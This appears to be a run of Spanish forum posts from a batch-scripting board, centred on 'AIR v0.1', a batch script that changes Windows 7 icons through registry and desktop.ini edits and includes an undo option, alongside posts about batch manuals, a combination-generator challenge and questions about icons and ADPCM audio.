<os:Image width="16" height="16">data:image/x-icon,%00%00%01%00%01%00%10%10%00%00%01%00%20%00h%04%00%00%16%00%00%00(%00%00%00%10%00%00%00%20%00%00%00%01%00%20%00%00%00%00%00%00%00%00%00%13%0B%00%00%13%0B%00%00%00%00%00%00%00%00%00%00%FF%FF%FF%FF%FF%FF%FF%FF%83%83%FF%FFii%FF%FFnn%FF%FFaa%FF%FFYY%FF%FFZZ%FF%FFZZ%FF%FFVV%FF%FFdd%FF%FFpp%FF%FFcc%FF%FF%82%82%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%5D%5D%FF%FF%2C%2C%FF%FFAA%FF%FF((%FF%FF88%FF%FFDD%FF%FF..%FF%FF11%FF%FFQQ%FF%FF..%FF%FF%0F%0F%FF%FFee%FF%FF%1D%1D%FF%FFZZ%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%3C%3C%FF%FF%0A%0A%FF%FF%FF%FF%FF%FF33%FF%FF%D4%D4%FF%FF%FF%FF%FF%FF%A5%A5%FF%FF%B9%B9%FF%FF%FF%FF%FF%FF%AE%AE%FF%FF%7C%7C%FF%FF%FF%FF%FF%FF%E0%E0%FF%FF%16%16%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF33%FF%FF%0A%0A%FF%FF%FF%FF%FF%FF44%FF%FF%CB%CB%FF%FFrr%FF%FF%A5%A5%FF%FF%B0%B0%FF%FFcc%FF%FF%B3%B3%FF%FF%C9%C9%FF%FFWW%FF%FFyy%FF%FF%22%22%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF33%FF%FF%0B%0B%FF%FF%FB%FB%FF%FF33%FF%FF%C6%C6%FF%FF%85%85%FF%FF%A2%A2%FF%FF%AC%AC%FF%FF%5B%5B%FF%FF%AC%AC%FF%FF%B7%B7%FF%FF%DA%DA%FF%FF%DD%DD%FF%FF%0F%0F%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF44%FF%FF%02%02%FF%FF%F6%F6%FF%FF''%FF%FF%E6%E6%FF%FF%9E%9E%FF%FF%B9%B9%FF%FF%A1%A1%FF%FF%EF%EF%FF%FF%B9%B9%FF%FF%A0%A0%FF%FF%E2%E2%FF%FF%DF%DF%FF%FF%02%02%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF33%FF%FF%05%05%FF%FF%FF%FF%FF%FFJJ%FF%FFJJ%FF%FFMM%FF%FF55%FF%FF%DE%DE%FF%FF%B2%B2%FF%FF77%FF%FF%12%12%FF%FF%A6%A6%FF%FF%2B%2B%FF%FF%3D%3D%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%19%19%FF%FF%D8%D8%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF''%FF%FF%10%10%FF%FF%00%00%FF%FF%F2%F2%FF%FF%2F%2F%FF%FF%00%00%FF%FF%26%26%FF%FF%1E%1E%FF%FF%A9%A9%FF%FFvv%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%AF%AF%FF%FF%26%26%FF%FF%13%12%FF%FF%1E%20%FF%FF33%FF%FF66%FF%FF88%FF%FF%1E%1F%FF%FF..%FF%FFWW%FF%FF%86%88%FF%FF%C2%C2%FF%FF%D1%D1%FF%FF%AA%AA%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%FF%CC%CC%CC%FF%EE%EE%EE%FF%22%22%22%FF%00%00%00%FF%22%22%22%FF%FF%FF%FF%FF333%FF%00%00%00%FF%00%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%FF%CC%CC%CC%FF%FF%FF%FF%FF%22%22%22%FF%EE%EE%EE%FF%11%11%11%FF%BB%BB%BB%FF%00%00%00%FF%88%88%88%FF%11%11%11%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%EE%EE%EE%FF%00%00%00%FF%CC%CC%CC%FF%FF%FF%FF%FF%22%22%22%FF%EE%EE%EE%FF%11%11%11%FF%BB%BB%BB%FF%00%00%00%FF%CC%CC%CC%FF%11%11%11%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FFwww%FF%00%00%00%FFUUU%FF%EE%EE%EE%FF%22%22%22%FF%00%00%00%FF%22%22%22%FF%FF%FF%FF%FF%00%00%00%FF%CC%CC%CC%FF%11%11%11%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%DD%DD%DD%FF%00%00%00%FF%88%88%88%FF%00%00%00%FF%DD%DD%DD%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%FF%FF%FF%FF%FF%00%00%00%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00</os:Image>
<os:Url type="application/x-suggestions+json" method="GET" template="http://suggestqueries.google.com/complete/search?output=firefox&amp;client=firefox&amp;hl={moz:locale}&amp;q={searchTerms}&amp;ds=yt">
</os:Url><os:Url type="text/html" method="GET" template="http://www.youtube.com/results">
 <os:Param name="search_type" value="search_videos"/>
 <os:Param name="search_query" value="{searchTerms}"/>
 <os:Param name="search_sort" value="relevance"/>
 <os:Param name="search_category" value="0"/>
 <os:Param name="high_definition" value="1"/>
 <os:Param name="uni" value="3"/>
 <os:Param name="page" value="{startPage?}"/>
</os:Url>
</SearchPlugin>


Un saludo
#868
AIR v0.1   (Automatic Icon Replacer)






TESTEADO ÚNICAMENTE EN WINDOWS 7


Si conoceis la aplicación "IconPackager", Pues este script tiene el mismo propósito: Modificar los iconos de archivos, carpetas, menu inicio, shell32.dll...

- Todo sin herramientas externas.
- Capaz de modificar los iconos de:
  Iconos de las Shell folders
  Iconos de los Archivos (Por .extensión)
  Iconos del Shell32.dll
  Iconos del Menú inicio
- El proceso es totalmente automático.
- Los cambios de iconos se pueden revertir en cualquier momento.
- Un script alternativo que cumple los requisitos para reemplazar a herramientas como "iconpackager" (Ya, Ya se que un bat no se puede comparar al iconpackager... Pero si, si solamente hablamos de modificar los iconos, Y automatizar el proceso...).
- Muy útil para automatizar un customizado del entorno en una post-instalación de Windows. (El script lo hice por este motivo principalmente).




COMO USAR ESTE SCRIPT:


1º - CONFIGURAR LA CARPETA QUE CONTIENE TUS ICONOS, EN EL PANEL DE CONFIGURACIÓN.

2º - EN EL RESTO DE VARIABLES SIN DEFINIR, COLOCAR EL NOMBRE DEL ICONO DESEADO (ARCHIVO.ICO).
     PUEDES DEJAR VACÍA CUALQUIER VARIABLE, NO DARÁ ERROR.


DISFRUTA DE LO BUENO QUE ES AUTOMATIZAR TAREAS EN BATCH :)



@Echo OFF
Title AIR v0.1 (Automatic Icon Replacer)

::   By Elektro H@cker
::
::  
::   Visita: Foro.ElHacker.Net


REM COMO USAR ESTE SCRIPT:
REM
REM
REM 1º - CONFIGURAR LA RUTA DE LA CARPETA QUE CONTIENE TUS ICONOS, EN EL "PANEL" DE CONFIGURACIÓN.
REM
REM 2º - EN EL RESTO DE VARIABLES SIN DEFINIR, COLOCAR EL NOMBRE DEL ICONO DESEADO (ARCHIVO.ICO).
REM      PUEDES DEJAR VACÍA CUALQUIER VARIABLE, NO DARÁ ERROR.
REM
REM
REM DISFRUTA DE LO BUENO QUE ES AUTOMATIZAR TAREAS EN BATCH :)

:: :: :: :: :: :: ::
:: Configuración  ::
:: :: :: :: :: :: ::
::
::
:: Activar/Desactivar las funciones del script (ON/OFF)
:: ::::::::::::::::::::::::::::::::::::::::::: ::::::::
::
Set Change_Shell_Folders_Icons=ON
Set Change_Extensions_Icons=ON
Set Change_SHELL32_Icons=ON
Set Change_Start_Menu_Icons=ON
Set Restart_Explorer=ON
Set Undo_Changes=OFF
::
::
:: Carpeta de los iconos
:: :::::::::::::::::::::
::
Set "IconsFolder="
REM EJEMPLO: "IconsFolder=C:\windows\Media\Mis iconos\Shell\"
::
::
:: Iconos de las Shell folders
:: :::::::::::::::::::::::::::
::
Set "Shell_Folders_Names=Contacts;Desktop;Documents;Downloads;Favorites;Links;Music;Pictures;Recent;Searches;Videos"
Set Contacts_Folder=
Set Desktop_Folder=
Set Documents_Folder=
Set Downloads_Folder=
Set Favorites_Folder=
Set Links_Folder=
Set Music_Folder=
Set Pictures_Folder=
Set Recent_Folder=
REM Set "Saved games_Folder="
Set Searches_Folder=
Set Videos_Folder=
::
::
:: Iconos de los Archivos
:: ::::::::::::::::::::::
::
Set "Extensions=.EXT1;.EXT2"
Set .EXT1=
Set .EXT2=
REM EJEMPLO:
REM Set "Extensions=.EXT1;.EXT2;.JPG"
REM "SET .JPG=ARCHIVO.ICO"
::
::
:: Iconos del Shell32.dll
:: ::::::::::::::::::::::
::
Set "SHELL32_INDEX=0;1;3;4;5;6;7;8;9;10;11;12;15;29;31;32;34;40;51;59;77;107;livefolder_back;livefolder_data;livefolder_front"
REM CADA NÚMERO REPRESENTA EL ÍNDICE DE ICONO DEL ARCHIVO "SHELL32.DLL"
:: ARCHIVO DEFAULT
Set -0=
:: DOCUMENTO
Set -1=
:: CARPETA
Set -3=
Set -4=
:: DISQUETERA
Set -5=
Set -6=
:: PENDRIVE
Set -7=
:: DISCO DURO
Set -8=
Set -9=
Set -10=
:: CD-ROM
Set -11=
:: RAM
Set -12=
:: MI PC
Set -15=
:: FLECHA DE ACCESO DIRECTO
Set -29=
:: PAPELERA VACÍA
Set -31=
:: PAPELERA LLENA
Set -32=
:: ESCRITORIO
Set -34=
:: CD DE MÚSICA (CDDA)
Set -40=
:: CONEXIONES DE RED
Set -51=
:: DVD-ROM
Set -59=
:: CENTRO DE SEGURIDAD
Set -77=
:: DISCO DURO PRINCIPAL (WINDOWS)
Set -107=
:: LIVE FOLDER (FRONT)
Set -livefolder_front=
:: LIVE FOLDER (BACK)
Set -livefolder_back=
:: LIVE FOLDER (DATA)
Set -livefolder_data=
::
::
:: Iconos del Menú inicio
:: ::::::::::::::::::::::
::
:: EQUIPO
Set CLSID_EQUIPO=
:: PANEL DE CONTROL
SeT CLSID_CONTROLPANEL=
:: MENU DE INICIO (EJECUTAR)
Set CLSID_EJECUTAR=
:: FAVORITOS
Set CLSID_FAVORITOS=
:: USUARIO
Set CLSID_USUARIO=
:: USUARIOS
Set CLSID_USUARIOS=
:: IMPRESORA
Set CLSID_IMPRESORA=
:: JUEGOS
Set CLSID_GAMES=
:: RED
Set CLSID_RED=
:: :: :: :: :: :: :: :: :: ::




Setlocal enabledelayedexpansion


REM COMPROBACIÓN
IF /I NOT "%Undo_Changes%" EQU "OFF" (Goto :Undo)

IF NOT DEFINED IconsFolder (
Echo: No has definido la carpeta que contiene los iconos. & Pause & Exit /B 1
) ELSE (
IF NOT EXIST "%IconsFolder%\*.ico" (
Echo: No existen iconos en la carpeta: "%IconsFolder%" & Pause & Exit /B 1
)
)
IF "%IconsFolder:~-1,1%" EQU "\" (Set "IconsFolder=%IconsFolder:~0,-1%")


:SHELL_FOLDERS
If /I NOT "%Change_Shell_Folders_Icons%" EQU "ON" (Goto :FILE_ICONS)
Echo+
Echo: [+] Modificando los iconos de las carpetas de Shell... | MORE
For /F "Tokens=*" %%X in ('DIR /B /AD "%USERPROFILE%"') do (Attrib -A -R -S -H -I "%USERPROFILE%\%%X\desktop.ini" >NUL)
For %%X in (%Shell_Folders_Names%) do (
Type "%USERPROFILE%\%%X\desktop.ini" 2>NUL | Find /V /I "IconResource" > "%TEMP%\desktop.ini" && (
If DEFINED %%X_Folder (
IF EXIST "%IconsFolder%\!%%X_Folder!" (
Echo IconResource=%IconsFolder%\!%%X_Folder! >>"%TEMP%\desktop.ini" && (
Echo:  %%X = !%%X_Folder!
Move /Y "%TEMP%\desktop.ini" "%USERPROFILE%\%%X\desktop.ini" >NUL
)
)
)
)
)
For /F "Tokens=*" %%X in ('DIR /B /AD "%USERPROFILE%"') do (Attrib +A +R +S +H +I "%USERPROFILE%\%%X\desktop.ini" >NUL)
Echo+
Echo: OK. | MORE | MORE


:FILE_ICONS
If /I NOT "%Change_Extensions_Icons%" EQU "ON" (Goto :SHELL32.DLL)
Echo+
Echo: [+] Modificando los iconos de archivos... | MORE

For %%X in (%Extensions%) do (
If DEFINED %%X (
IF EXIST "%IconsFolder%\!%%X!" (
Echo:   %%X = !%%X!
reg query "HKCR\%%X\defaulticon" >NUL 2>&1 && For /F "Tokens=2,*" %%M in ('reg query "HKCR\%%X\defaulticon"') Do (Reg ADD "HKCR\%%X\defaulticon" /V "BACKUP_FILE_ICON_AIR" /D "%%N" /F >nul)
reg query "HKLM\Software\Classes\%%X\defaulticon" >NUL 2>&1 && For /F "Tokens=2,*" %%O in ('reg query "HKLM\Software\Classes\%%X\defaulticon"') Do (Reg ADD "HKLM\Software\Classes\%%X\defaulticon" /V "BACKUP_FILE_ICON_AIR" /D "%%P" /F >nul)
Reg ADD "HKCR\%%X\defaulticon" /D "%IconsFolder%\!%%X!" /F >NUL
For /F "Tokens=2 delims==" %%Y in ('Assoc ^| Find /I "%%X="') Do (
Reg ADD "HKCR\%%Y\defaulticon" /D "%IconsFolder%\!%%X!" /F >NUL
Reg ADD "HKLM\Software\Classes\%%Y\defaulticon" /D "%IconsFolder%\!%%X!" /F >NUL
)
)
)
)
Echo+
Echo: OK. | MORE | MORE


:SHELL32.DLL
If /I NOT "%Change_SHELL32_Icons%" EQU "ON" (Goto :START_MENU)
Echo+
Echo: [+] Modificando los iconos del sistema (SHELL32.DLL) | MORE
For %%X in (%SHELL32_INDEX%) do (
If DEFINED -%%X (
IF EXIST "%IconsFolder%\!-%%X!" (
Echo "%%X" | FIND /I "livefolder" >NUL && (Echo:  %%X = !-%%X!) || (Echo:  SHELL32.DLL,%%X = !-%%X!)
Reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /V "%%X" /D "%IconsFolder%\!-%%X!" /F >NUL
Reg ADD "HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /V "%%X" /D "%IconsFolder%\!-%%X!" /F >NUL
Reg ADD "HKcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /V "%%X" /D "%IconsFolder%\!-%%X!" /F >NUL
Reg ADD "HKcu\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /V "%%X" /D "%IconsFolder%\!-%%X!" /F >NUL
)
)
)
Echo+
Echo: OK. | MORE | MORE


:START_MENU
If /I NOT "%Change_Start_Menu_Icons%" EQU "ON" (Goto :END)
Echo+
Echo: [+] Modificando los iconos del menu inicio (CLSID's) | MORE
If defined CLSID_EQUIPO (IF EXIST "%IconsFolder%\%CLSID_EQUIPO%"             (Echo: CLSID_EQUIPO          = %CLSID_EQUIPO% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon" /D "%IconsFolder%\%CLSID_EQUIPO%" /F >NUL))
If defined CLSID_CONTROLPANEL (IF EXIST "%IconsFolder%\%CLSID_CONTROLPANEL%" (Echo: CLSID_CONTROLPANEL    = %CLSID_CONTROLPANEL% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}\DefaultIcon" /D "%IconsFolder%\%CLSID_CONTROLPANEL%" /F >NUL))
If defined CLSID_CONTROLPANEL (IF EXIST "%IconsFolder%\%CLSID_CONTROLPANEL%" (Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\DefaultIcon" /D "%IconsFolder%\%CLSID_CONTROLPANEL%" /F >NUL))
If defined CLSID_CONTROLPANEL (IF EXIST "%IconsFolder%\%CLSID_CONTROLPANEL%" (Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\DefaultIcon" /D "%IconsFolder%\%CLSID_CONTROLPANEL%" /F >NUL))
If defined CLSID_EJECUTAR (IF EXIST "%IconsFolder%\%CLSID_EJECUTAR%"         (Echo: CLSID_EJECUTAR        = %CLSID_EJECUTAR% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon" /D "%IconsFolder%\%CLSID_EJECUTAR%" /F >NUL))
If defined CLSID_FAVORITOS (IF EXIST "%IconsFolder%\%CLSID_FAVORITOS%"       (Echo: CLSID_FAVORITOS       = %CLSID_FAVORITOS% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{323CA680-C24D-4099-B94D-446DD2D7249E}\DefaultIcon" /D "%IconsFolder%\%CLSID_FAVORITOS%" /F >NUL))
If defined CLSID_USUARIO (IF EXIST "%IconsFolder%\%CLSID_USUARIO%"           (Echo: CLSID_USUARIO         = %CLSID_USUARIO% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\DefaultIcon" /D "%IconsFolder%\%CLSID_USUARIO%" /F >NUL))
If defined CLSID_USUARIOS (IF EXIST "%IconsFolder%\%CLSID_USUARIOS%"         (Echo: CLSID_USUARIOS        = %CLSID_USUARIOS% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\DefaultIcon" /D "%IconsFolder%\%CLSID_USUARIOS%" /F >NUL))
If defined CLSID_IMPRESORA (IF EXIST "%IconsFolder%\%CLSID_IMPRESORA%"       (Echo: CLSID_IMPRESORA       = %CLSID_IMPRESORA% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{A8A91A66-3A7D-4424-8D24-04E180695C7A}\DefaultIcon" /D "%IconsFolder%\%CLSID_IMPRESORA%" /F >NUL))
If defined CLSID_GAMES (IF EXIST "%IconsFolder%\%CLSID_GAMES%"               (Echo: CLSID_GAMES           = %CLSID_GAMES% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{ED228FDF-9EA8-4870-83b1-96b02CFE0D52}\DefaultIcon" /D "%IconsFolder%\%CLSID_GAMES%" /F >NUL))
If defined CLSID_RED (IF EXIST "%IconsFolder%\%CLSID_RED%"                   (Echo: CLSID_RED             = %CLSID_RED% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\DefaultIcon" /D "%IconsFolder%\%CLSID_RED%" /F >NUL))
If defined -32 (IF EXIST "%IconsFolder%\%-32%"                               (Echo: CLSID_PAPELERA_LLENA  = %-32% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon" /D "%IconsFolder%\%-32%" /F >NUL))
If defined -32 (IF EXIST "%IconsFolder%\%-32%"                               (Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon" /V "Full" /D "%IconsFolder%\%-32%" /F >NUL))
If defined -31 (IF EXIST "%IconsFolder%\%-31%"                               (Echo: CLSID_PAPELERA_VACIA  = %-31% & Reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon" /V "Empty" /D "%IconsFolder%\%-31%" /F >NUL))
Echo+
Echo: OK. | MORE | MORE
Goto :END


:UNDO
:: SHELL_FOLDERS
Echo+
Echo: [+] Deshaciendo cambios de iconos de las carpetas Shell... | MORE
Set "ORIGINAL_CONTACTS=IconResource=%SystemRoot%\system32\imageres.dll,-181"
Set "ORIGINAL_DESKTOP=IconResource=%SystemRoot%\system32\imageres.dll,-183"
Set "ORIGINAL_DOCUMENTS=IconResource=%SystemRoot%\system32\imageres.dll,-112"
Set "ORIGINAL_DOWNLOADS=IconResource=%SystemRoot%\system32\imageres.dll,-184"
Set "ORIGINAL_FAVORITES=IconResource=%SystemRoot%\system32\imageres.dll,-115"
Set "ORIGINAL_LINKS=IconResource=%SystemRoot%\system32\imageres.dll,-185"
Set "ORIGINAL_MUSIC=IconResource=%SystemRoot%\system32\imageres.dll,-108"
Set "ORIGINAL_PICTURES=IconResource=%SystemRoot%\system32\imageres.dll,-113"
Set "ORIGINAL_RECENT=IconResource=%SystemRoot%\system32\imageres.dll,-117"
REM SET "ORIGINAL_SAVED GAMES=IconResource=%SystemRoot%\system32\imageres.dll,-186"
SET "ORIGINAL_SEARCHES=IconResource=%SystemRoot%\system32\imageres.dll,-18"
SET "ORIGINAL_VIDEOS=IconResource=%SystemRoot%\system32\imageres.dll,-189"
For /F "Tokens=*" %%X in ('DIR /B /AD "%USERPROFILE%"') do (Attrib -A -R -S -H -I "%USERPROFILE%\%%X\desktop.ini" >NUL)
For %%X in (%Shell_Folders_Names%) do (
Type "%USERPROFILE%\%%X\desktop.ini" 2>NUL | Find /V /I "IconResource" > "%TEMP%\desktop.ini" && (
Echo !ORIGINAL_%%X! >>"%TEMP%\desktop.ini" && (
Echo:  %%X = !ORIGINAL_%%X!
Move /Y "%TEMP%\desktop.ini" "%USERPROFILE%\%%X\desktop.ini" >NUL
)
)
)
For /F "Tokens=*" %%X in ('DIR /B /AD "%USERPROFILE%"') do (Attrib +A +R +S +H +I "%USERPROFILE%\%%X\desktop.ini" >NUL)
Echo+
Echo: OK. | MORE | MORE

:: FILE_ICONS
Echo+
Echo: [+] Deshaciendo cambios de iconos de extensiones... | MORE
for /F "Tokens=1,3*" %%a in ('REG QUERY HKCR /f "BACKUP_FILE_ICON_AIR" /t REG_SZ /e /s') Do (
Reg Query "%%a" >NUL 2>&1 && (
for /F "Tokens=2,*" %%c in ('REG QUERY "%%a" /V "BACKUP_FILE_ICON_AIR"') Do (
echo [%%a]
Echo + "%%d" | MORE
Reg ADD "%%a" /d "%%d" /F >NUL
Reg delete "%%a" /v "BACKUP_FILE_ICON_AIR" /F >NUL
)
)
)
for /F "Tokens=1,3*" %%a in ('REG QUERY HKLM\SOFTWARE\CLASSES /f "BACKUP_FILE_ICON_AIR" /t REG_SZ /e /s') Do (
Reg Query "%%a" >NUL 2>&1 && (
for /F "Tokens=2,*" %%c in ('REG QUERY "%%a" /V "BACKUP_FILE_ICON_AIR"') Do (
echo [%%a]
Echo + "%%d" | MORE
Reg ADD "%%a" /d "%%d" /F >NUL
Reg delete "%%a" /v "BACKUP_FILE_ICON_AIR" /F >NUL
)
)
)
Echo+
Echo: OK. | MORE | MORE

:: Shell32.dll
Echo+
Echo: [+] Deshaciendo cambios de iconos del sistema (SHELL32.DLL)... | MORE
Echo: [-HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons]
Echo: [-HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons]
Echo: [-HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons]
Echo: [-HKCU\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons]
Reg DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /F >NUL 2>&1
Reg DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /F >NUL 2>&1
Reg DELETE "HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /F >NUL 2>&1
Reg DELETE "HKCU\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons"  /F >NUL 2>&1
Echo+
Echo: OK. | MORE | MORE

:: Start menu
Echo+
Echo: [+] Deshaciendo cambios de iconos del menu inicio... (CLSID)  | MORE
Echo: (Es mentira, Esta parte del script no esta acabada :P) | MORE | MORE
ECHO: Que alguien me pase los valores genérícos de las CLSID de Win7 para poder acabar esta parte xD | MORE
PAUSE
CLS


:END
DEL /Q /F "%userprofile%\AppData\Local\IconCache.db" /a 2>NUL
If /I NOT "%Restart_Explorer%" EQU "ON" (Exit /B 0)
start /W taskkill /IM explorer.exe /F  >NUL
start /B explorer.exe
Exit /B 0





Si sigue sin entender bien como funciona o como configurarlo, Aquí les dejo un ejemplo del script ya configurado... : http://pastebin.com/Q9B7QnZm
Y aquí un ejemplo más práctico: http://exoshare.com/download.php?uid=0PMRHGOU

Salu2
#869
Scripting / [BATCH] Manual de Batch (INGLÉS)
16 Julio 2012, 06:51 AM
Hola,

Esto es simplemente un copy/paste que hice de la página www.ss64.com, Así que todos los créditos para ellos  ;-).
Simplemente quería guardar esa joya de web en formato pdf.

Este manual está orientado al aprendizaje de los conceptos fundamentales, La sintaxis de Batch.
El manual no profundiza en el uso de ningún comando.

El manual está lleno de códigos de ejemplos, Y muchísima información extra.

El manual está en Inglés.








PD: Si buscas otro tipo de manual, sobre el uso de los comandos de la cmd, visita estos posts:

[BATCH] Manual de referencia de comandos de la CMD (XP/VISTA/7/8) INGLÉS
Recopilatorio de temas interesantes - Scripting -

Un saludo. :)
#870
Hola,

Esto es simplemente un copy/paste que hice de la página www.ss64.com, Así que todos los créditos para ellos  ;-).
Simplemente quería guardar esa joya de web en formato pdf.

En este manual no se explica nada acerca del aprendizaje de la sintaxis, Este manual es para aprender las funciones de cada comando.
El manual está lleno de códigos de ejemplos, Y muchísima información extra.

El manual está en Inglés.








Nota:
He preferido omitir (copiar) en el documento la información de algunos comandos de WinXP, Resource kits, Y aplicaciones externas, Pero el índice está lleno de hipervinculos para la información que falta sobre esos comandos.

PD: Si buscas otro tipo de manual, sobre la sintaxis de Batch, visita estos posts:

[BATCH] Manual de Batch (INGLÉS)
Recopilatorio de temas interesantes - Scripting -

Un saludo. :)
#871
¿Alguien sabe si en una cuenta de youtube se pueden hacer permanentes los cambios en el filtrado de búsqueda, para no tener que configurarlo de nuevo cada vez que buscamos un video desde la página?

Yo diría que no se puede, Pero prefiero asegurarme y preguntar :)



Un saludo!
#872
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:

Reto iniciado por binary_death

Reto Nº 15 BATCH

Nombre:          Variaciones con repetición, con 26 elementos [abecedario inglés] (binary_death)
Dificultad:        7/10
Objetivo:         Realizar un batch script al que, dado una longitud máxima de carácteres especificada, los combine de todas las formas posibles.
                         Esto puede servir como un generador de diccionarios para usar en programas de frute force.
Pista:               Recursividad, for anidados, todo sirve aunque hay formas más óptimas que otras.
Ejemplo:         
#873
Hola,

Pongo un ejemplo rápido, Si creamos el archivo "qwerty.ext" en el escritorio, Aparecerá el icono por defecto de Windows (Un icono blanco). Pues ese icono es el que intento encontrar para modificarlo.



PD: Antes sabia hacer esto pero... Se me ha olvidado xD y no encuentro la solución en ningún lado, Ni en Google, ni en el "imageres.dll" ni "shell32.dll"...

He probado en esta clave, pero NO es:

[HKEY_CLASSES_ROOT\*\DefaultIcon]
@="C:\\Users\\Administrator\\Desktop\\icono.ico,0"


gracias por leer y saludos
#874
Hola,

Tengo unos archivos en MP3 (Pero no me importaria pasarlos a otro formato primero...) y necesito convertirlos a wav comprimido usando el codec Microsoft ADPCM, No me sirve ningún otro, Ni IMA adpcm ni wav descomprimido ni nada, necesariamente tiene que ser usando el codec d Microsoft...

El problema es que el convertidor que uso (dbpoweramp) me crea el archivo pero no contiene audio, Así que algo va mal... Pero no es problema del reproductor (winamp) ya que hace un tiempo convertí algunos archivos usando el convertidor y Microsoft ADPCM y se escuchan perfectamente.

He buscado soluciones y "fixit" sobre el codec ADPCM, Pero nada me ha servido.

El codec lo tengo instalado (C:\windows\system32\msadpcm32.acm), y registrado en su debida clave en el registro.

He desinstalado el K-lite codec pack por si las moscas, Pero sigue sin funcionar.

Tampoco conozco otra utilidad para convertir un archivo a WAV usando ADPCM (He buscado y rebuscado)... Así que agradecería cualquier programa capaz de hacerlo, Al menos para comprobar si es problema del dbpoweramp, o del codec, o yo que sé :-/...

PD: Más info detallada acerca de mi problema aquí: http://forum.dbpoweramp.com/showthread.php?26263-Fail-MP3-to-WAW-%28Microsoft-ADPCM%29-encoding&p=122654#post122654

Gracias y saludos


EDITO:
Por si sirve de algo...

El archivo MP3 original: http://exoshare.com/download.php?uid=EGF0HB1O
El archivo WAV resultante: http://exoshare.com/download.php?uid=0RCZAFFG


